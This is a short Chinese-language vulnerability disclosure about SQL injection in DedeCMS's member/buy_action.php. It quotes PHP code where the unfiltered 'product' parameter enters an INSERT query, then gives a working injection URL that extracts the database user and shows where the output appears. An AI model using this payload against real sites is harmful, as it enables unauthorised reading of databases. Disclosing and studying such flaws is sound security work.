Dedecms会员中心注入漏洞

详细说明：member/buy_action.php require_once(dirname(__FILE__).”/config.php”); CheckRank(0,0); $menutype = ‘mydede’; $menutype_son = ‘op’; require_once DEDEINC.’/dedetemplate.class.php’;   $product = isset($product) ? trim($product) : ”; $mid = $cfg_ml->M_ID; $ptype = ”; $pname = ”; $price = ”; $mtime = time(); 省略XX行 if(empty($product)) {     ShowMsg(“请选择一个产品!”, ‘javascript:;’);     exit(); } 省略xxx行 =if(!isset($paytype)) {         $inquery = “INSERT INTO #@__member_operation(`buyid` , `pname` , `product` , `money` , `mtime` , `pid` , `mid` , `sta` ,`oldinfo`)    VALUES (‘$buyid’, ‘$pname’, ‘$product’ , ‘$price’ , ‘$mtime’ , ‘$pid’ , ‘$mid’ , ‘0’ , ‘$ptype’);//product没有过滤     “; echo  $inquery.”<br>” ;漏洞证明：测试方法 注册用户之后验证邮箱完了之后 打开 127.0.0.1/dedecms/member/buy_action.php?product=1′,1,2,3,4,5,@`’`),((select user()),(select 1),’4 然后在http://127.0.0.1/dedecms/member/operation.php 就可以查看到返回信息了